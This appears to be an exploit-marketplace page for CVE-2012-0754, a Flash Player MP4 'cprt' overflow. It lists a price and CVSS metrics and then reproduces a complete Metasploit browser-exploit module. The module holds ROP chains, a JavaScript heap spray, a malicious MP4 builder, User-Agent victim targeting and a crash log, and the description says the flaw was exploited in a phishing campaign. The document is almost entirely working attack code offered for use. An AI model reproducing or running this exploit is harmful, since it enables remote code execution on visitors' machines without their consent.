Adobe Flash Player .mp4 cprt Overflow
CVE
Category
Price
Severity
CVE-2012-0754
CWE-119
$5000
Critical
Author
Risk
Exploitation Type
Date
CyberHacker
High
Remote
2012-03-09
CPE
cpe:cpe:/a:adobe:flash_player
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2012030054 Below is a copy:##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "Adobe Flash Player .mp4 'cprt' Overflow",
'Description' => %q{
This module exploits a vulnerability found in Adobe Flash Player.
By supplying a corrupt .mp4 file loaded by Flash, it is possible to gain arbitrary
remote code exeuction under the context of the user.
This vulnerability has been exploited in the wild as part of the
"Iran's Oil and Nuclear Situation.doc" phishing campaign.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alexander Gavrun', # Vulnerability discovery
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-0754' ],
[ 'OSVDB', '79300'],
[ 'BID', '52034' ],
[ 'URL', 'http://contagiodump.blogspot.com/2012/03/mar-2-cve-2012-0754-irans-oil-and.html' ]
],
'Payload' =>
{
'BadChars' => "\x00",
'StackAdjustment' => -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# Flash Player 11.1.102.55
# Flash Player 10.3.183.10
[ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x800 - code.length', 'Ret' => 0x0c0c0c0c } ],
[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x800 - code.length', 'Ret' => 0x0c0c0c0c } ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 } ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 } ],
[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4', 'Ret' => 0x0c0c0c0c } ]
],
'Privileged' => false,
'DisclosureDate' => "Feb 15 2012",
'DefaultTarget' => 0))
end
def junk(n=4)
return rand_text_alpha(n).unpack("L")[0].to_i
end
def nop
return make_nops(4).unpack("L")[0].to_i
end
def get_payload(t)
if ['Rop'].nil?
code = ""
else
code = "\xbc\x0c\x0c\x0c\x0c" #Fix the stack to avoid a busted encoder
end
code << payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil?
# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
rop =
[
0x77c4e392, # POP EAX # RETN
0x77c11120, # <- *&VirtualProtect()
0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
junk,
0x77c2dd6c,
0x77c4ec00, # POP EBP # RETN
0x77c35459, # ptr to 'push esp # ret'
0x77c47705, # POP EBX # RETN
0x00000800, # <- change size to mark as executable if needed (-> ebx)
0x77c3ea01, # POP ECX # RETN
0x77c5d000, # W pointer (lpOldProtect) (-> ecx)
0x77c46100, # POP EDI # RETN
0x77c46101, # ROP NOP (-> edi)
0x77c4d680, # POP EDX # RETN
0x00000040, # newProtect (0x40) (-> edx)
0x77c4e392, # POP EAX # RETN
nop, # NOPS (-> eax)
0x77c12df9, # PUSHAD # RETN
].pack("V*")
when :jre
print_status("Using JRE ROP")
rop =
[
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
0x7c347f98, # RETN (ROP NOP)
0x7c3415a2, # JMP [EAX]
0xffffffff,
0x7c376402, # skip 4 bytes
0x7c351e05, # NEG EAX # RETN
0x7c345255, # INC EBX # FPATAN # RETN
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
0x7c344f87, # POP EDX # RETN
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN
0x7c34d201, # POP ECX # RETN
0x7c38b001, # &Writable location
0x7c347f97, # POP EAX # RETN
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
0x7c345c30, # ptr to 'push esp # ret '
].pack("V*")
end
pivot = [0x77C1CAFB].pack('V*') #POP/POP/RET
pivot << [0x41414141].pack('V*')
pivot << [t.ret].pack('V*')
code = pivot + rop + code
return code
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1] #IE 6 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[2] #IE 7 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
return targets[3] #IE 8 on Windows XP SP3
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
return targets[5] #IE 7 on Windows Vista
else
return nil
end
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
my_target = get_target(agent)
# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("Browser not supported, will not launch attack: #{agent.to_s}: #{cli.peerhost}:#{cli.peerport}")
send_not_found(cli)
return
end
print_status("Client requesting: #{request.uri}")
# The SWF requests our MP4 trigger
if request.uri =~ /\.mp4$/
print_status("Sending MP4 to #{cli.peerhost}:#{cli.peerport}...")
mp4 = create_mp4(my_target)
send_response(cli, mp4, {'Content-Type'=>'video/mp4'})
return
end
if request.uri =~ /\.swf$/
print_status("Sending Exploit SWF")
send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })
return
end
p = get_payload(my_target)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
js_pivot = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
heap_obj.debug(true);
for (var i=1; i < 0x1C2; i++) {
heap_obj.alloc(block);
}
heap_obj.debug(true);
JS
js_pivot = heaplib(js_pivot, {:noobfu => true})
swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
swf_uri << "/Exploit.swf"
print_status(swf_uri)
html = %Q|
<html>
<head>
<script>
#{js_pivot}
</script>
</head>
<body>
<center>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
id="test" width="1" height="1"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="#{swf_uri}" />
<embed src="#{swf_uri}" quality="high"
width="1" height="1" name="test" align="middle"
allowNetworking="all"
type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/go/getflashplayer">
</embed>
</object>
</center>
</body>
</html>
|
html = html.gsub(/^\t\t/, '')
#
# "/test.mp4" is currently hard-coded in the swf file, so we ned to add to resource
#
proc = Proc.new do |cli, req|
on_request_uri(cli, req)
end
add_resource({'Path'=>'/test.mp4', 'Proc'=>proc}) rescue nil
print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
def exploit
@swf = create_swf
super
end
def create_swf
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0754.swf" )
fd = File.open( path, "rb" )
swf = fd.read(fd.stat.size)
fd.close
return swf
end
def create_mp4(target)
mp4 = ""
mp4 << "\x00\x00\x00\x18"
mp4 << "ftypmp42"
mp4 << "\x00\x00\x00\x00"
mp4 << "mp42isom"
mp4 << "\x00\x00\x00\x0D"
mp4 << "cprt"
mp4 << "\x00\xFF\xFF\xFF"
mp4 << "\x00\x00\x00\x00"
mp4 << "\x0c\x0c\x0c\x0c" * 2586
return mp4
end
end
=begin
C:\WINDOWS\system32\Macromed\Flash\Flash11e.ocx
C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx
(510.9b4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=03e46810 ecx=0396b160 edx=00000004 esi=03e46cd4 edi=00000000
eip=10048b65 esp=0428fd10 ebp=0428feb4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\Macromed\Flash\Flash10x.ocx -
Flash10x+0x48b65:
10048b65 ff5008 call dword ptr [eax+8] ds:0023:0c0c0c14=????????
=end
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